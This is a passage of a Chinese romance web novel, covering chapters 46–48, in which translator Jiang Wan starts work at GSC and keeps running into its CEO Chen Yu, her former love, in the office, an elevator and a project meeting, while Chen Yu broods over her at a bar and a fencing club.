“对了,”尤伽突然开口,有点别别扭扭的,那表情看起来像是不知该怎么表达,又仿佛有太多东西,不知从哪开始,最后,她一狠心,“你和陈屿,还有联系吗?” 还是聊到这个话题了,从计划约尤伽出来,姜挽就知道这个话题会被提到,而且,这也是她原本打算和她说的:“没有,但我们见过了。” “没有?但你们见过了?”尤伽像是不理解,愣愣重复了一遍。 “嗯,我工作的翻译公司和他们公司有合作,之前开会的时候见过一次。而且我以后还会外派到他们公司做这个项目的翻译。” 这话一出,尤伽比刚才更愣了,她怎么也没想到她和陈屿已经有这么多联系了,低头喝一口汤,还是没忍住:“那你们有没有……” 姜挽知道她想问什么,摇了摇头:“没有,就是单纯的工作关系,而且我和他这次相遇也是十分偶然的机会,我们公司恰好投标他们公司的项目,这才见了一面。在此之前,我甚至都不知道他在北城。” 听她这么说,应该是见面不怎么愉快了,尤伽叹一口气:“要是他对你说了什么,你也不要太放在心上,他性格就那样。而且,老实说,当初你转学的事情,对他造成的伤害确实挺深的。” 言下之意,陈屿对他有恨意也是正常的。 姜挽知道,正是因为知道,才会觉得愧疚,不敢面对他。 气氛一时陷入沉默,尤伽也有点尴尬,忙换了话题:“不过话说回来,陈屿现在可厉害了,听孟云程说他一个人管着GSC,那可是北城如今数一数二的大公司,你们能和他们合作,业务这块,以后应该是不用愁了。” 姜挽淡笑了下:“希望如此吧。” 这该是她今天和尤伽见面后的第一个笑容,尤伽放下筷子,轻声开口:“谢天谢地,你终于笑了,那个我熟悉的呦呦又回来了。”尤伽拿筷子戳着一小块鸡肉,似恨似怨地,“你都不知道,刚才看见你,我觉得你和之前变了好多。” 姜挽知道她指的是什么,经历了那么多事情,还想和之前一样,那是不可能的。可她不想聊这个,太沉重,于是忽地挑眉,逗她:“你也变了。” “是吗?”尤伽忙盯着她,“哪里变了?变好了,还是变坏了?” 姜挽看着她,徐徐动嘴:“变得比以前更漂亮了。” 第46章 躲避 一周的时间过得很快, 到GSC报到这日,是个大晴天。温度很高,微风燥热,阳光穿透云层照下来, 落在GSC办公大楼上, 更衬得它巍然壮丽。 还是之前那个门禁, 不同的是这次姜挽并没等那么长时间。不到五分钟, 便有工作人员出来接待她, 是GSC的HR, 姜挽之前和她在微信里联系过。 “您好。”姜挽率先打招呼。 对方很客气:“你好,姜小姐,欢迎你, ”但也带着大公司特有的自信和傲慢, “我先带你办手续, 然后再领你去工位。虽然你是第三方工作人员, 但GSC在这方面福利一向很好,你可以和其他正式员工一样, 享受这栋大楼里的所有待遇。” 姜挽道谢, 没多说什么,跟着她一路走。 食堂, 健身房, 图书馆,还有专门设置出来的休息娱乐区, 对方一边走, 一边和她介绍。确实配置高档,设施完善,相比于她在港城的那家公司, 也是有过之而不及。 只是这些,姜挽都不大在意。 她来这里的目的只有一个,那就是尽量在不撞见陈屿的前提下,顺顺利利地完成翻译工作。 人力资源部和翻译部不在同一楼层,办完手续和领完办公用品后,HR这才带着她来到六层翻译部。 很开阔的一片区域,按不同语种进行区域划分,姜挽视线所及之处每个人都很忙碌,行走间皆是敲击键盘的声音。 英语,法语,德语,还有西班牙语等等,HR带着她大致熟悉了一圈,也做了简单的介绍,接着领着她来到一片靠近角落的区域。 这里和刚才比,语种区域的划分就没那么明显了,基本是一个大开间,按面积平均划了几个位置出来。当然,HR的介绍也比刚才简单不少。 “差不多就这些了,”HR将手中的东西放在其中一张空桌子上,和姜挽交代,“这里以后就是你的办公区域了,你先适应适应,有问题的话,随时联系我。” “好的,谢谢。”姜挽点头,道谢,她对这些要求也不高,只要基本的办公环境能满足就行。 “那你先忙,我这边也还有其他的事情要处理。” “好。” HR走后,姜挽把刚才领取的办公用品放在桌上,开始一一进行收拾,打算给电脑充电时,却发现这里的办公桌构造和她之前的不一样,找了一圈,也没发现插孔的位置。 正犯愁,右侧突然传来一个声音:“你把那块挡板掀起来,插座在挡板下面。” 姜挽扭头去看,是一个小圆脸大眼睛的姑娘,戴一副黑框眼镜,头发扎起来,看起来甜美又可爱。 她记得,这也是刚才HR介绍时,唯一一个对她露出笑容的姑娘。 陌生的环境,即便不在意,可收到这样的善意,也难免会觉得心里暖暖的:“谢谢。” 有了这个开头,两人后面的对话就显得自然多了。 “你好,我叫方简简。”那女孩干脆将凳子转了过来,看着姜挽收拾。 “你好,姜挽。” “你也是外派来GSC的翻译人员吗?” 也?那看来她也是了,姜挽扫一眼这片区域,想必这一块的应该都是了:“对,是的。” “那你是哪个翻译公司的?”方简简似乎对她很感兴趣。 “佳译。” “没听说过。”方简简摇头,表情没什么变化,“那项目呢?你具体负责的是哪个项目?” 姜挽其实并不是一个话多的人,可考虑到方简简刚才对她的善意,还是很耐心地回答:“法国尼斯度假村那个项目。” “是你啊?”这次,方简简的表情有变化了,不仅有变化,而且还十分明显,惊讶,艳羡,甚至还带着点不敢置信,一双眼睛瞪起来,比刚才更大了,“我之前还在想这个项目会由谁负责,没想到竟然是一个这么漂亮的大美女。” “来,我帮你整理。”说着,她从凳子上起身,伸手就要去拿姜挽桌上放着的东西。 姜挽其实不大习惯别人动她的东西,可刚认识,也不好意思直接拒绝:“那麻烦你了。” 她这样,方简简话更多了:“这有什么麻烦的呀,咱们都在一起工作,以后多的是机会互相帮助。不过,话说回来,你还真幸运,一来就负责法国尼斯这种项目,不像我,负责的项目不是在乌干达,就是几内亚,全部都是一些贫穷国家。” 姜挽其实觉得项目地点在哪,和她们的翻译关系并不大,毕竟在她以往的经验里,翻译这行,不是在查资料,就是在背单词,换个地点,也不过就是换个方向做这些罢了,可她开口还算委婉:“其实都差不多的,工作内容基本都一样。” 她这话,方简简可不认同:“不,差的可多了。你想想,每天面对一些海浪沙滩的翻译,和每天面对一些垃圾破烂的翻译,那感觉能一样吗?我有时候看到现场那个照片,说实话,都想吐。” 这感觉,姜挽没有过。这话题,她也不知道该如何接。其实,恶劣的环境她也面对过,甚至有时候工作需要,项目现场她也经常跑,可她却没有方简简这么多感触。工作就是工作,不应该掺杂太多个人情绪。 可她一贯的原则,不认同的观点,保持沉默就好,没必要一定要争论。 可方简简似乎还有很多话要说,正打算再度开口,坐在姜挽左边的那个一直沉默的女生,却突然发了声:“麻烦安静点,这里是工作的地方,不是你们聊天的地方。聊天的话请出门左转,那里还有咖啡。” 生硬,冷漠,毫不掩饰的嫌弃。 如此直白的情绪表达,在职场里,姜挽还是第一次遇见。 顺着这声音,她把视线转过去,对方是一个高个子姑娘,狭长的眼,高挺的鼻,皮肤很白,表情很冷,脸上一副生人勿近的漠然。 就连说这些话的时候,也不过才淡瞥了她们一眼,而后眼神快速收回,像是再多看一分钟,就会浪费她的时间似的。 考虑到刚才确实是她和方简简打扰到她了,姜挽原本打算道歉的,可方简简却把她拦下了。她拉她的胳膊,使劲往旁边拽,还将食指放在唇上,摇头让她不要开口。 等确定刚才那人听不到她们说话了,方简简才敢小声开口:“你别和她说话,她叫林瑜,也是一个小公司的外派翻译,脾气可差了,性格也古怪,平时从不和我们沟通,一张口就是怼人,你不用搭理她。” 原来是这样。 听完这话,姜挽再去看,发现林瑜不知何时已经戴上了耳机,周身的气场比刚才还要冷漠。 因为这个插曲,方简简没再说话,周围一时安静了下来。但很快,喧嚣再次响起,不过这次并不是来自她们这边,而是靠近门口的区域。 有同事从外面进来,带来了小道消息,说是一会儿陈总会过来视察,让大家赶紧准备准备。 闻言,姜挽眉心一跳,陈总?不会这么巧吧…… 她这才来第一天。 但很快又觉得自己貌似有些惊弓之鸟了,他那种级别的领导,应该也没有这个时间和闲心。 见她没什么反应,方简简小声提醒她:“你知道他们口中的陈总是谁吗?不过你今天第一天来,应该还没见过吧?” 听她这语气,像是什么大人物,难道,还真是陈屿? “是谁?”姜挽轻声开口。 “GSC的总裁,”方简简凑近她耳边,应该是受刚才林瑜的影响,现在她说每一句话,声音都刻意压得很低,“虽然这个公司姓‘陈’的很多,但能被称为‘陈总’的,只有他一个。” 姜挽不吱声了,表情也有些无奈,方简简没注意到,还在继续和她科普:“我们这个陈总啊,和其他公司的总裁不一样。不仅没有秃头油腻,相反非常年轻,外貌和气质更是一绝。” 边说,她边从抽屉里拿出镜子开始补妆,“反正你一会儿看了就知道了,绝对会打破你一直以来对‘总裁’这两个字的偏见。” 姜挽垂下眼,暗自想着,还需要一会儿吗,这位总裁的真人她早就见识过了。不仅见识过,还被他明目张胆地嫌弃。 没多会儿,喧闹的办公室安静下来,每个人都精神抖擞,神采奕奕,想来应该是陈屿他们要来了。 果然下一秒,门外便传来一阵脚步声,接着,是好几道身影走了进来,而后便是交谈的声音,应该是在做介绍和汇报了。 姜挽本来并不想看的,无奈方简简特意拉着她:“怎么样,我没撒谎吧,够帅吧?” 她这么说,姜挽不得不抬头装装样子,不过只一眼,便瞬间看清了那道身影。黑色西装,身材颀长,五官出众,气质卓然。在一众人群里,想不看见都难。 “怎么样?是不是很帅?”方简简还在催促。 “嗯。”姜挽快速回了一句,就打算退开。 哪成想,方简简却突然变得异常激动:“快看,陈总好像往我们这边看过来了!” 听闻这句,姜挽的第一反应便是低头,她可不想和陈屿撞见。惹不起,她还躲不起嘛。要是见到她,他再一个不高兴,把对她的怨气转移到工作上,那可真就得不偿失了。 她快速回身,没再参与这些。脱离了喧嚣,姜挽这才注意到,旁边的林瑜仍然带着耳机,像是对这一切都不关注。 第47章 撞见 陈屿从翻译部回来的第一件事, 便是立马安排工作。不仅尼斯度假村这个项目的资料他全部都要,还要求以后所有和这个项目相关的会议和邮件,都得把他放在抄送里。 助理名叫宋泽宇,跟着陈屿很多年了, 办事靠谱, 认真踏实, 且一向自认是对他最了解的。可即便如此, 最近也觉得有点越来越看不懂他这个老板了。 貌似就是从尼斯度假村这个项目开始的。 先是项目定标, 然后又一大早莫名要去翻译部视察, 现在又要求时刻关注项目进展…… 也不是不可以,就是觉得有点没必要。尤其是和他之前一贯的风格相比,简直是天差地别。要知道, 陈屿以前可是只统筹管理, 推崇放权原则的。这种视察关注邮件什么的, 之前可是从来没有过。 宋泽宇不明白是什么原因, 却还是忍不住开口:“陈总,公司最近是要有什么变动吗?” 陈屿觉得他这个问题问得莫名其妙:“你听谁说的?” 他这样说, 那就是没有, 宋泽宇忙低下头,打算出去:“没有, 没听谁说过。” 他这个样子, 明显是话只说了一半,陈屿一向最讨厌吞吞吐吐:“有话就直说, 你知道我一向不喜欢这种。” 果然, 话一出口,宋泽宇便不敢再犹豫了:“真的没听谁说,我只是觉得您最近有点奇怪。” 奇怪?陈屿眉心狠狠一跳, 难道他对姜挽的关注被这小子发现了?可他脸上不显,故意压低声音:“怎么说?” “您最近貌似对尼斯度假村这个项目很关注,毕竟之前也有过类似的项目,您都是不怎么参与,全权交给底下人负责的。” 还好,只是看出了他对项目的异常,陈屿松一口气。他懒得和他解释,但又担心这个心细的小子晚点再看出点什么,于是沉着脸,教育他:“人都是会变的,你不知道吗?更何况是一个公司的管理者,不与时俱进,积极改变,最后就只有被淘汰的份!” 这种假大空的话,他以前从不说,加上这次刻意为之,乍一看上去,好像还真有点生气了,宋泽宇吓得不敢再吭声。 陈屿见他这样,话锋一转,突然来到他身上:“你有时间关注我,还不如多花点心思在自己身上,想想该如何提高提高自己的专业技能。” 宋泽宇虽害怕,但智商并没有下线,加上又是一个直肠子,基本是想到什么,就说什么:“可我的工作,不就是关注您,了解您,花心思在您身上吗?” 好像还真是这么回事。 陈屿被噎,一时又找不出什么好的理由来反驳,于是只得继续板着脸:“关注也没有这样关注的,你赶紧出去,好好反思反思。” — — 到GSC上班的第一天,姜挽加班了。 倒不是说这一天的工作量有多大,只是她习惯将一天的工作做完,然后再做一个阶段性的总结。 譬如今天,她给自己定的目标就是要把项目企划书看完,对这个项目有个基本的了解。可上午的时间差不多都用来介绍和适应环境了,真正和项目经理联系上,开始工作,是从下午才开始的。 好在,这会儿也只剩最后几页了,姜挽看得正入神,手机突然响,接连几声微信提示音,她不得不暂时放下手上的工作,是沈繁星发来的。 【第一天上班感觉怎么样?有没有不适应的地方?】 【GSC的同事怎么样,还好相处吗?】 【姜挽,你不会在加班吧?第一天而已,不用这么拼!要是让他们知道你这么努力,这么拼命,以后可不得使劲欺负你?】 姜挽看着她的微信,忍不住感叹,自己都离她这么远了,她竟然还能一猜一个准:【都挺好,马上就打算下班了。】 沈繁星回得很快:【那就好,要是有什么不适应的,你一定要和我说,虽然咱们是被外派过去的,但也绝对不能受委屈。】 【还有,记住我说的话,不要太拼命,正常完成工作就够了。】 姜挽知道她的意思。原则上,作为佳译外派来的翻译,只有她拼命工作了,才能给公司带来更多的收益,可沈繁星却并没有这样要求她,可见,她是真把她当朋友的。 【知道啦,】姜挽也想和她多说两句,可活还没干完,【先不说了,我得赶紧把手上的工作处理完,然后下班。】 【好,随时保持联系。】 二十分钟后,姜挽看完企划书,并完成了相对应的工作总结。抬头看一眼,这个时间点办公室已经基本没人了,除了她,就只剩她旁边的林瑜。 离开前,她犹豫了下要不要和林瑜打个招呼,可看她仍旧带着耳机,而且考虑到她上午的那些话,想来应该也是一个不愿意被打扰的人,于是干脆作罢。 从办公室出来,姜挽直奔电梯,微信里佳译的其他同事还在问她翻译的问题,她忙着回复,按了电梯后,也就没盯着看。 很快,电梯到达六层,她刚打算迈步进去,一抬头,却突然愣住了,硬生生停下了脚步。 因为此时电梯里已经有其他人在了,而这个“其他人”不是别人,恰巧就是陈屿。 …… 还真是,狭路相逢。 短短几秒的时间,姜挽迅速做了抉择,她收回脚步,礼貌开口:“您先下,我等下一趟。” 说罢,她去看陈屿的表情,见他没什么反应,应该是默认了她这个提议。 眼看着电梯门就要关上,姜挽这才松了一口气,可不待这一口气落到实处,突然间,原本快要闭合的电梯门却再次打开,陈屿那张帅得近乎不真实的脸再次出现在她的视线里。 他指尖还停留在开门按钮处,低头看着她,那表情,说轻蔑太重,说漠然又太轻,更像是介乎于这二者之间的一种玩味,冷淡的,高高在上的,俯瞰一个再普通不过的小员工。 “怎么,姜小姐这么讨厌我?连同乘一部电梯都不愿意?” “当然不是,您误会了。”箭在弦上,不得不发。姜挽低着头,深吸一口气,迈步进电梯,“陈总好。” 陈屿淡淡收回落在她身上的视线,没回答。 电梯的空间还算大,姜挽刻意找了和他对角线的位置站着,可即便如此,和他单独在这种环境下待着,也足以让她紧张得呼吸困难。 以前种种,此时此刻,北城,江城,城南寺,还有离开时的那场雨,一幕幕,仿佛电影画面似的,此刻正飞快地在她脑海中闪回。 “几楼?” “什么?” 姜挽一时没反应过来,而陈屿则像是不耐烦,没再问,伸出指尖径直按了一楼的按钮。两人之间的距离一瞬间拉近,刹那间,微微一缕淡香传来,像是雪松和沉木的混合,还带着一点烟草的苦涩。 很快又消散。 姜挽这才明白,原来他刚才问的是楼层,视线随之看过去,一楼,负一楼两层的按钮都亮着,难怪他会问了。 “谢谢。” 话说出去,照例没有回复。 姜挽发现了,对她的感谢或者打招呼之类的话,陈屿几乎都不会接,只有实在避免不了的话题,他才会开口。很明显,他并不想和她有过多的言语沟通。 意识到这个问题,姜挽没再自讨没趣,两人之间一时陷入沉默,一段干涩又压抑的沉默。 好在从六层下去楼层并不高,这会儿电梯也已经到达一层,电梯门打开,原本姜挽还有些犹豫,想着要不要说一句“再见”,可回头,就见陈屿已经按了关门按钮,似乎迫不及待地要和她撇清关系。 如此,也好。 姜挽没再说什么,低头快速迈出电梯。 从办公楼出来,立时一股热气扑来,闷热,粘腻,要把人从里到外都蒸干了的那种难受。可姜挽却没什么感觉,仿佛只有此刻外界的燥热,才能稍微缓解几分她内心的寒意。 如今看来,和陈屿相比,她貌似才是放不下的那个。冷若冰霜也好,偶尔孤傲也罢,这都是他作为甲方领导,正常的一种反应。反倒是她,想得有些太多了。 原本姜挽还担心因为之前的事,会不会影响她在GSC的工作。现在看来,大概率是不会了。他既然不想和她有过多接触,自然也就不会再拿那些事情做文章。而上次在会上之所以会那样说,应该也就是对工作要求严格罢了。 不过这样也好,没有这些复杂的关系,至少她还能在GSC踏实工作下去。 姜挽离开后,陈屿直接下负一层,取了车,却并没回家,而是一脚油门,直接选了市中心的方向。 路上,他给孟云程去了一个电话:“老地方,半个小时后见。” 孟云程刚吃完饭,正无聊,所以答应得也很快:“行啊,我现在就过去。” 陈屿口中的老地方,是位于北城市中心的一家酒吧,名为“蓝调”,孟云程在这里有专门的VIP专区,所以有事没事他们经常会来这里聚。 孟云程到的时候,陈屿正在喝酒,加了冰的威士忌只剩半杯,透明的冰块在琥珀色的液体中浮浮沉沉,灯光下,显得格外闪亮。 “嚯,玩儿这么大,”孟云程自然坐下,潇洒地朝旁边的侍应生打了一个响指,“和他一样,谢谢。” 说罢,他脱掉外套,随意往旁边的沙发上一扔,不问陈屿找他有什么事,反倒对他喝酒这件事更感兴趣:“喝这么猛,你打车来的?” “开车。”陈屿回答得很干脆,甚至在说完后,紧接着又仰头喝了一大口。 “开车你还敢这么喝?” “一会儿找代驾。” “不让你助理来?” “不了。” “行吧。” 酒端上来,孟云程摇晃两下,浅尝了一口:“今天这酒味道不对,”他啧嘴,幽幽开口,“人也不对。” 他说的是陈屿,陈屿也知道,可他就是不接腔。 周围很吵,炫彩镭射灯,强烈节奏感的电子音乐,还有到处舞动的人影,喧闹着,鼎沸着。 可四周越热闹,就衬得他们这块却冷清,尤其是陈屿,那眼神黯淡得,就差直接说“我很难受”,“难受得想死了”。 孟云程实在是看不下去了,他大抵能猜到是因为什么,毕竟这么多年了,能让陈屿这样的,他只知道一个人。 可看他这样,孟云程心里不得劲,于是故意怼他:“你小子到底怎么了,哭丧着一张脸。” “没事。”陈屿什么也不说,只一个劲地灌酒。五十度左右的烈酒入喉,穿肠,带起胃部一阵痉挛,他却像没感觉似的,眉头都没皱一下。 孟云程轻嗤一声,像是不屑于揭穿他:“是和姜挽有关吧?” 这次,陈屿有反应了,握酒杯的右手瞬间顿住,玻璃杯来来回回在手里转了好几圈,也没再喝。 “你怎么知道?”他语气平淡,像是在问一个再普通不过的问题,可始终不肯抬起的眼睫还有指尖的青白,却在昭示着他此刻内心的翻江倒海。 “你自己有多明显,你不知道吗?”孟云程这会连调侃他的心思都没有了,抬手按了按额角,似乎很无奈,“再说这么多年了,能让你借酒消愁的,除了她,还有谁?” 提到这,他又想起了当初那些不开心的回忆:“有些事我都不想提,当初她离开的时候,你才多大年纪啊,每天就在酒吧里喝得烂醉,喝到最后胃出血,还他妈是我去接的你。” 当初的事,孟云程确实帮了他很多,陈屿没什么好解释的,朝他扬了扬杯子,算是感谢。 孟云程陪一个,不过,他刚才说那些也不是为了让他感谢他的,他们之间,根本不需要计较这么多。 “她回来了吧?”孟云程突然问。 “你怎么知道?”这次,陈屿终于抬了眼。 孟云程淡瞥他一眼,似乎有点怪他被感情蒙蔽了心智:“你忘了,在北城,除了你之外,她还认识尤伽啊,既然回到北城,她当然会联系她。” 原来是这么个情况,陈屿竟然把这茬忘了。 原来竟是她主动联系的尤伽。 和尤伽不同的是,他和姜挽的重逢,却是他费了九牛二五之力,搭上整个GSC的资源,才在工作上和她搭上关系的。 这样一比较,差别还真是大。 原本,陈屿还对自己的这种做法有些愧疚,如今看来倒是完全不用了。 既然她能主动联系上尤伽,就说明她也是能联系上自己的。可这么长时间了,却没有任何动静,明显是她不想。 她在躲她,不愿再见他。 和当初一样。 北城这么大,若是她有心躲着,两人一辈子不遇见也不是不可能。 稍一想到会有这种可能性,陈屿就心痛得几乎窒息,只能快速灌一口酒,才能勉强压下这涩然的情绪。 孟云程不知道他心里的这些想法,只是单纯地担心他:“你老实告诉我,你是不是还喜欢她?” 陈屿垂着眼,没回答。 孟云程却像是以往那些面对不听话孩子的操心家长一样,先是重重叹了一口气,继而开始喋喋不休:“陈屿,你长点心吧!这都多长时间了,你怎么就过不了这个坎呢?” 他生气,但更多的是心疼:“当初她不告而别,你这些年怎么过来的,我可都是看在眼里。同样的地方,我不想你再摔倒第二次。” 清脆的一声响,是陈屿把最后一口酒喝完,玻璃杯磕在了玻璃桌上:“击剑,去不去?” 孟云程诧异:“你他妈疯了吧,现在几点了,你还去?” 陈屿起身,拿起沙发上的外套,淡淡开口:“那我去了。” 孟云程恨铁不成钢,在他身后无奈开口:“记得找代驾!” 工作日,击剑俱乐部的人并不多,在连续击败了两个业余选手后,陈屿把目标投向了他的私人教练。 跃步,弹跳,刺击,精准的动作,强悍的攻击,连带起的剑风里,似乎都有一股悚然的飒飒声。 久而久之,教练逐渐有些招架不住了,按目前的局势,陈屿今天铁定是赢了。俱乐部内部之间的较量,通常都是点到为止,往常到这个时候,双方也就应该暂停了,可陈屿并没有。 而是仍旧持续不断地,不停歇地,朝着对面发起攻击。 姜挽!姜挽!姜挽! 此刻他满脑子都是她 八年前的,现在的,那场雨,她的不告而别,还有再见后对他的躲避,她留给他的,永远都是背影! 陈屿的心有多痛,他手上的剑就有多狠,仿佛化身一头野兽,想要击碎眼前所有的一切。 教练一开始还有点懵,后面也感觉出来了,他这个样子,根本就不像是击剑,反而更像是在发泄情绪。 眼见着马上就没办法再接下他的攻击,情急之下不得不当场举手,然后冲着他大喊:“Halte!Halte!” 陈屿这才停下动作。 教练摘下面罩,气喘吁吁地看着他。 接着是陈屿,面罩之下,是一张冷漠戾气的脸,尤其那双眼睛,漆黑如深潭,让人不敢轻易与之对视。 教练虽是外国人,可中文却说的很流利:“Eric,你刚才是怎么回事?从没看过你这样,你是失控了吗?” 对,他是失控了,可陈屿却并不打算承认。 重剑,防护服,还有各种外衣和手套鞋袜,他一一脱掉放回去,整个过程一言不发。 教练也看出他的反常了:“你需不需要帮助?” 最后一件装备卸除,陈屿拿起外套往外走:“不用。” 从俱乐部出来,他没直接叫代驾,而是站在路边,从烟盒里掏出一根烟。“啪”的一声响,银制打火机燃起一小簇火苗,他咬着烟凑近,火光在他眉眼处落下一小片橘黄色的阴影,更衬得他棱角锋利,五官清绝。 其实,也不怪孟云程会那样说他,连他自己有时候都觉得自己挺贱的。被甩,被骂,被抛弃,即便这样,他心里还是忘不了她。 这些年,他努力拼搏,学习各种管理知识,自认在能力方面已经有了很大的提升,独自管理一个公司也不在话下,可偏偏面对这件事,他却一点长进都没有。 第48章 周会 尼斯度假村项目的周例会, 定在每周三,由项目经理组织安排,主要内容是总结当前项目进展和明确下一步的工作计划。 来GSC这几天,这还是姜挽第一次参加如此正式的会议, 因此她很重视。准备好资料, 带着电脑, 姜挽提前来到会议室。 到的时候, 项目经理已经在了, 两人之前见过, 又因为这几天经常邮件往来,所以还算熟络。 “周经理。”姜挽先打招呼,项目经理姓周, 单名一个“海”字, 年纪四十上下, 戴眼镜, 整个人看起来很斯文。 “Annie,你来了。”声音也斯文。 周海正忙着连接设备, 但对姜挽还算热情:“你昨天提交的那段翻译我看过了, 翻译得很好,用词和逻辑都没有问题, 尼斯这个项目的翻译工作由你来负责, 我觉得可以放心了。” 他口中的翻译片段,是姜挽昨天临下班前才接到的通知, 不算正式的翻译工作, 更像是一些宣传语。这些她以前也做过不少,所以翻译起来还算得心应手:“您觉得合格就行。” “合格,当然合格了, 毫不夸张地说,是我干项目这么久以来,见过最合格的了。”电脑已经连接上了投影,周海开始演示,“你先坐,我看下效果。” “好,那您先忙。”姜挽端着电脑,找了一个不怎么显眼的位置。 陆陆续续的,参加会议的人员都到齐了,周海调整好投影,打算正式开始。 突然,会议室的玻璃门从外面被推开,随着脚步声,走进来一抹高大的身影。深黑色西装,银灰色领带,头发全部拢起,棱角分明的五官全部暴露出来,行走间一股矜贵与凛冽相融的上位者气势。 是陈屿。 姜挽坐得离门口近,最先看到他,一瞬间有点没反应过来,她不知道,这个会原来他也会参加。 其他人比她更迷茫,甚至屏息着不敢发出任何声响,一瞬间齐刷刷都从凳子上站了起来,紧张地等待着这位大领导的特别指示。 毕竟,这种级别的会,他们以前也从没见过陈总参加。 玻璃门从外面被关上,轻轻一声响,周海最先回神,他反应很快,赶紧将主座的位置放出来:“陈总,您坐。” 陈屿却摆摆手,很不在意:“不用,我就是随便过来听听,你们该怎么开就怎么开,不用管我,就当我不存在。” 说罢,他朝四周看一眼,像是没什么所谓,随便挑了一个最普通的座位,指着姜挽对面,开口:“我坐这儿就行。” 他坐,其他人这才跟着坐下。 “那好,您随意。” 话虽这样说,可他一个这么大的领导在这,周海还是难免紧张,酝酿了好一会儿,才想起来自己原本的会议流程。第一项,便是介绍项目成员。 这里除了姜挽,其他人都是GSC的员工,所以关于她的介绍,周海多说了两句。也是为了方便她以后的工作,他不仅提到了姜挽的工作背景,还特意表达了对她翻译的认可,以昨天那段翻译为例。 项目里突然来了一个新人,还是一个如此级别的大美女,没有人会不感兴趣。一时间,所有的眼神,微笑和注意力全部都投在了姜挽身上,甚至有性格外向的,当场就和她打起了招呼。 姜挽都一一应下,报以同样的回应。视线一排看过去,不小心扫到陈屿脸上,微笑顿时凝固在。他没笑,表情甚至还有点冷,眉压着眼,很明显的不耐烦。 或许是因为不喜欢她这个人,也可能是觉得刚才周海对她的夸奖有失偏颇,总之,他不认可她。 果然,下一秒他便伸手敲了敲桌子,几声“咚咚”响后,清冷的声线接着传出来:“好了,这种形式主义就不要搞了,好不好的,还要看最后的结果。” 即使已经提前有了心理暗示,可亲耳听到他这么说,姜挽还是觉得心里沉闷得难受。像是被什么看不见的东西拉扯着,不断地往下坠落。 陈屿这话,不仅没给姜挽面子,就连在场的其他人,也一并没给。一时间,会议室陷入沉默,没人敢再随意开口。 周海出来打圆场:“好,我们就直接进入正题,先来总结下目前的项目进度……” 一个小时的会议,除了一开始的小插曲,整下来体还算顺利,周海将各个细节都具体分配到了人,接下来便是有条不紊地按照计划推进了。 而陈屿,也果然如他一开始进来的时候说的那般,除了开场那句话,后面全程没再发言,只当个听众。甚至在好几次周海问他的意见时,他也没说什么,说他是项目经理,他决定就好。 只不过会议结束后,他是第一个离开的。 突然来,又第一个走,大家都有点猜不透这位大领导的意思,纷纷开始猜测。 周海不喜欢这种,他是一个干实事的人,领导的心思基本不猜,只关注如何把事情干好,于是几句话便安排大家散了会。 只是在姜挽离开前,他多说了两句,可能是担心她第一次开会,被刚才的情况吓到。 他是好心,姜挽也知道,但其实没必要的,毕竟这种情形,她早不是第一次见了。 “周经理,您放心,作为一名专业的翻译人员,这点心理素质我还是有的。” “那行,你这么说,我也就放心了。” 另一边,回到办公室的陈屿,脸色也没好到哪去。宋泽宇过来提醒他接下来的会议安排,被他一通摆手敷衍道:“推了,今天上午别再给我安排会了。” 宋泽宇有点愣,他一愣,说话就容易直接:“为什么?” 陈屿心里烦,这会儿也没耐心和他细说,右手原本正在口袋了来回翻着打火机,突然“啪”的一声扔在桌上:“我做什么还需要向你解释吗?怎么连你也来烦我?” 他是真烦,刚才会上看见那么多人盯着姜挽,气得差点当场就要发作。但他没理由,也没立场,所以才忍着一口气到结束,第一个就离开了会议室。 宋泽宇被骂,整个人委屈得差点哭出来,可他嘴上还是开口:“刘总这会儿还在会议室等着,这已经是他这个月来的第五次了,不见到您,他今天是不会离开的。再说了,这次的会议安排,之前也和您确认过的。” 他这么一说,陈屿有印象了,是那个翰林的刘铮,在北城也算有些地位,只是他这个人做生意不老实,陈屿不愿意和他合作。可北城地产的圈子就这么大,保不准哪天哪一场会议就碰上了,所以,有些时候,他也不得不从中斡旋。 刚才他被气得够呛,所以一时间有些情绪上头,换作其他人,是断然不敢和他如此硬碰的,肯定在他说了那句话之后就离开了,可宋泽宇不同。这小子原则很强,只要是他认为有用的事情,就会坚持。 这也是为什么在这小子性格比较直,能力也不是最厉害的情况下,陈屿还是坚持把他留在了身边。因为到他这个位置,能听到真话已经是一件非常奢侈的事情了。 抬头对上宋泽宇微红的眼眶,陈屿有些无奈:“我不就说了两句,你至于吗?” 话音落,宋泽宇立马抬头,见他像是有话要说,陈屿当即摆手:“行了行了,我知道了,你去和他说,我十分钟后就过去。” — — 姜挽刚回到翻译部,方简简便立马凑了过来:“怎么样?” 姜挽还以为她问的是项目情况,于是便把会上的情况大致和她说了下,哪知方简简却完全不感兴趣:“谁问你这个了?” “那你问的是?” “当然是和陈总开会了,感觉怎么样?” 突然听她这样问,老实说,姜挽觉得有点奇怪。因为陈屿参加这个会议非常突然,他们整个项目组的人都不知道,就连项目经理也是在开会的时候才知道的。可这才刚开完会,方简简又是怎么知道的呢? 可她一贯不爱八卦,想了想,还是说:“还行吧,应该就和参加你们项目会的时候一样。” 哪知方简简听了却连连摇头:“这你就不知道了,虽说GSC每周确实有很多项目会,可能让陈总亲自参加的,却几乎没几个。除了集团的大项目,这种级别的,尼斯度假村是第一个。” 能看出来,方简简对这些很有研究,她说话的时候眉飞色舞,尤其是提到陈屿的名字时,那表情就更夸张了,姜挽一时也说不好那是一种什么表情,但总感觉不大自在。 她收了视线,没再看:“那可能是他对这个项目比较重视吧,毕竟作为领导,应该也会有自己的特殊考量。” 其实还有一个原因她没说,结合今天会上的情况来看,姜挽觉得陈屿可能不信任她的可能性更大。觉得她,以及她们这个小公司是没办法完成这个大项目的,所以才要来亲自监督。 其实话题到这,基本就可以结束了,正常情况下也没人会再追问,可方简简却像是没意识到似的,再次贴了上来:“那关于他这个人呢?他在会上怎么样?严肃吗?还是说是比较好说话的那一种?” “我其实没仔细看。”姜挽很老实地和她坦白,除了一开始陈屿进门的时候她有点震惊外,其余时间,她基本没再注意他,所有的注意力全都在会议内容上,自然也就不知道他的反应了。 “不是吧,这么好的机会你都不看?先不提他那张脸了,就是他的总裁身份,在GSC也是一句话就能决定所有人生死的。”方简简开始畅想,“要是能和他搭上关系,别说转正GSC了,就是以后升职加薪也指日可待啊。” 她的语气很惋惜,听起来姜挽像是错过了一次重大的“改变人生”的机会,可通过这几次她和陈屿的接触来看,姜挽知道,他绝不是一个随便三言两语就能搭上,也不是一个拿工作当儿戏的人。 